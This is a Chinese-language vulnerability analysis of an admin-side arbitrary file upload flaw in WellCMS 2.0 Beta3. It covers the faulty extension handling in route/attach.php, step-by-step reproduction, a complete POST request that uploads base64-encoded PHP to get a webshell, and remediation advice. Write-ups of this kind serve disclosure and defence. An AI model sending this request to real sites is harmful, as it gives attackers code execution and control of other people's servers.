WellCMS 2.0 Beta3 后台任意文件上传
字数 1159 2025-08-26 22:11:57
WellCMS 2.0 Beta3 后台任意文件上传漏洞分析与利用
一、漏洞概述
WellCMS 2.0 Beta3 是一款开源、倾向移动端的轻量级CMS系统。该系统后台存在一个任意文件上传漏洞,攻击者可以通过构造特殊的POST请求,绕过文件类型检查,上传恶意PHP文件从而获取Webshell。
二、漏洞影响版本
WellCMS 2.0 Beta3 版本
三、漏洞原理分析
1. 漏洞位置
漏洞位于 route/attach.php 文件中的 create 操作处理逻辑。
2. 关键代码分析
// 接收参数
$data = param_base64('data');
$filetype = param('filetype'); // 上传文件类型参数可控
$is_image = param('is_image', 0); // 是否为图片
$convert = param('convert', 0); // 图片转换压缩标志
$t = param('t', 0); // 系统类型标志
// 文件扩展名处理逻辑
if (!in_array($ext, $filetypes['all'])) {
$ext = '_' . $ext;
} else {
// CMS上传图片的特殊处理
$t == 1 AND $convert == 1 AND $is_image == 1 AND $ext = $filetype;
}
3. 漏洞成因
- 系统允许客户端通过
filetype参数自定义上传文件的扩展名 - 当满足以下条件时,系统会直接使用客户端提供的
filetype作为文件扩展名:$t == 1(CMS模式)$convert == 1(启用图片转换)$is_image == 1(标记为图片上传)
- 缺乏对
filetype参数的严格过滤,导致可以上传任意类型文件(如PHP)
四、漏洞复现步骤
1. 登录后台
首先需要获取后台管理员权限,登录WellCMS后台。
2. 定位上传点
进入后台管理界面,找到图片上传功能点(通常位于内容管理或附件管理模块)。
3. 构造恶意请求
- 正常上传一个图片文件并拦截请求
- 修改POST请求中的关键参数:
- 将
filetype参数值改为php - 将
data参数值改为Base64编码的PHP代码(如<?php phpinfo();?>) - 确保以下参数设置为1:
is_image=1convert=1t=1
- 将
4. 示例攻击数据包
POST /route/attach.php?action=create&t=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Cookie: [管理员会话cookie]
backstage=1&width=0&height=0&is_image=1&name=test.jpg&data=data:image/jpeg;base64,PD9waHAgcGhwaW5mbygpOz8%2B&mode=0&filetype=php&convert=1&n=0&type=0
5. 获取Webshell
成功上传后,系统会返回上传文件的路径,直接访问该路径即可执行上传的PHP代码。
五、漏洞修复建议
- 严格限制
filetype参数,只允许特定的图片格式(jpg, png, gif等) - 在服务器端验证文件内容与实际扩展名是否匹配
- 对上传文件进行重命名,避免使用用户提供的文件名
- 将上传文件存储在非Web可访问目录,或配置Web服务器禁止执行上传目录中的PHP文件
- 添加文件内容检测机制,防止图片马的上传
六、漏洞利用注意事项
- 需要先获取后台管理员权限才能利用此漏洞
- 上传的PHP代码需要进行Base64编码
- 确保请求中包含必要的参数并设置为正确的值(t=1, convert=1, is_image=1)
- 实际攻击中可能需要根据目标环境调整数据包构造方式
七、技术总结
该漏洞属于典型的后台任意文件上传漏洞,由于缺乏对用户输入参数的严格过滤,导致攻击者可以上传恶意脚本文件。漏洞利用门槛较低但危害较大,攻击者成功利用后可完全控制网站服务器。建议使用该CMS的用户及时升级到最新版本或按照修复建议进行安全加固。